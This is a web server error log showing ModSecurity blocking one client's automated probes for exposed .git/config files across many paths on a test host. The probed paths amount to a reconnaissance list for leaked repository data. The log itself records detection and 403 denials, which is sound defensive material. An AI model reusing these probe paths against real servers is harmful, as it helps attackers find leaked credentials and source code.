[Wed May 22 20:56:14.574288 2024] [:error] [pid 3395384] [client 91.215.85.43:56958] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-includes/js/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TQAAAAU"]
[Wed May 22 20:56:14.574587 2024] [:error] [pid 3395384] [client 91.215.85.43:56958] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-includes/js/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TQAAAAU"]
[Wed May 22 20:56:14.574809 2024] [:error] [pid 3395384] [client 91.215.85.43:56958] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-includes/js/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TQAAAAU"]
[Wed May 22 20:56:14.575157 2024] [:error] [pid 3395360] [client 91.215.85.43:56916] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPgAAAAM"]
[Wed May 22 20:56:14.575437 2024] [:error] [pid 3395360] [client 91.215.85.43:56916] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPgAAAAM"]
[Wed May 22 20:56:14.575620 2024] [:error] [pid 3395360] [client 91.215.85.43:56916] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cms/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPgAAAAM"]
[Wed May 22 20:56:14.576815 2024] [:error] [pid 3395392] [client 91.215.85.43:57016] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/store/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCwAAAAY"]
[Wed May 22 20:56:14.577092 2024] [:error] [pid 3395392] [client 91.215.85.43:57016] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/store/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCwAAAAY"]
[Wed May 22 20:56:14.577305 2024] [:error] [pid 3395392] [client 91.215.85.43:57016] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/store/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aCwAAAAY"]
[Wed May 22 20:56:14.577321 2024] [:error] [pid 3395395] [client 91.215.85.43:56994] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/live/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50wAAAAk"]
[Wed May 22 20:56:14.577549 2024] [:error] [pid 3395395] [client 91.215.85.43:56994] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/live/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50wAAAAk"]
[Wed May 22 20:56:14.577720 2024] [:error] [pid 3395395] [client 91.215.85.43:56994] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/live/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu50wAAAAk"]
[Wed May 22 20:56:14.582944 2024] [:error] [pid 3395393] [client 91.215.85.43:56996] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXwAAAAc"]
[Wed May 22 20:56:14.583122 2024] [:error] [pid 3395393] [client 91.215.85.43:56996] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXwAAAAc"]
[Wed May 22 20:56:14.583252 2024] [:error] [pid 3395393] [client 91.215.85.43:56996] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwXwAAAAc"]
[Wed May 22 20:56:14.657903 2024] [:error] [pid 3395394] [client 91.215.85.43:57008] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v3/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lgAAAAg"]
[Wed May 22 20:56:14.658555 2024] [:error] [pid 3395394] [client 91.215.85.43:57008] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v3/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lgAAAAg"]
[Wed May 22 20:56:14.658952 2024] [:error] [pid 3395394] [client 91.215.85.43:57008] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v3/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32lgAAAAg"]
[Wed May 22 20:56:14.665195 2024] [:error] [pid 3395359] [client 91.215.85.43:56974] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/alpha/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYwAAAAI"]
[Wed May 22 20:56:14.667564 2024] [:error] [pid 3395357] [client 91.215.85.43:57044] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMAAAAAA"]
[Wed May 22 20:56:14.667852 2024] [:error] [pid 3395357] [client 91.215.85.43:57044] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMAAAAAA"]
[Wed May 22 20:56:14.668069 2024] [:error] [pid 3395357] [client 91.215.85.43:57044] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMAAAAAA"]
[Wed May 22 20:56:14.668231 2024] [:error] [pid 3395358] [client 91.215.85.43:57032] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PgAAAAE"]
[Wed May 22 20:56:14.668833 2024] [:error] [pid 3395358] [client 91.215.85.43:57032] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PgAAAAE"]
[Wed May 22 20:56:14.668975 2024] [:error] [pid 3395359] [client 91.215.85.43:56974] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/alpha/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYwAAAAI"]
[Wed May 22 20:56:14.669069 2024] [:error] [pid 3395358] [client 91.215.85.43:57032] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-PgAAAAE"]
[Wed May 22 20:56:14.669162 2024] [:error] [pid 3395359] [client 91.215.85.43:56974] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/alpha/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpYwAAAAI"]
[Wed May 22 20:56:14.672810 2024] [:error] [pid 3395396] [client 91.215.85.43:57000] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v1/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fwAAAAo"]
[Wed May 22 20:56:14.673085 2024] [:error] [pid 3395396] [client 91.215.85.43:57000] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v1/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fwAAAAo"]
[Wed May 22 20:56:14.673273 2024] [:error] [pid 3395396] [client 91.215.85.43:57000] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v1/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1fwAAAAo"]
[Wed May 22 20:56:14.673437 2024] [:error] [pid 3395384] [client 91.215.85.43:57004] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v3/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TgAAAAU"]
[Wed May 22 20:56:14.673761 2024] [:error] [pid 3395384] [client 91.215.85.43:57004] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v3/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TgAAAAU"]
[Wed May 22 20:56:14.674002 2024] [:error] [pid 3395384] [client 91.215.85.43:57004] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v3/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_TgAAAAU"]
[Wed May 22 20:56:14.675896 2024] [authz_core:error] [pid 3395395] [client 91.215.85.43:57076] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.git
[Wed May 22 20:56:14.676132 2024] [:error] [pid 3395360] [client 91.215.85.43:57058] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPwAAAAM"]
[Wed May 22 20:56:14.676429 2024] [:error] [pid 3395360] [client 91.215.85.43:57058] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPwAAAAM"]
[Wed May 22 20:56:14.676696 2024] [:error] [pid 3395360] [client 91.215.85.43:57058] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmPwAAAAM"]
[Wed May 22 20:56:14.676720 2024] [:error] [pid 3395392] [client 91.215.85.43:57068] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDAAAAAY"]
[Wed May 22 20:56:14.676965 2024] [:error] [pid 3395392] [client 91.215.85.43:57068] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDAAAAAY"]
[Wed May 22 20:56:14.677165 2024] [:error] [pid 3395392] [client 91.215.85.43:57068] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDAAAAAY"]
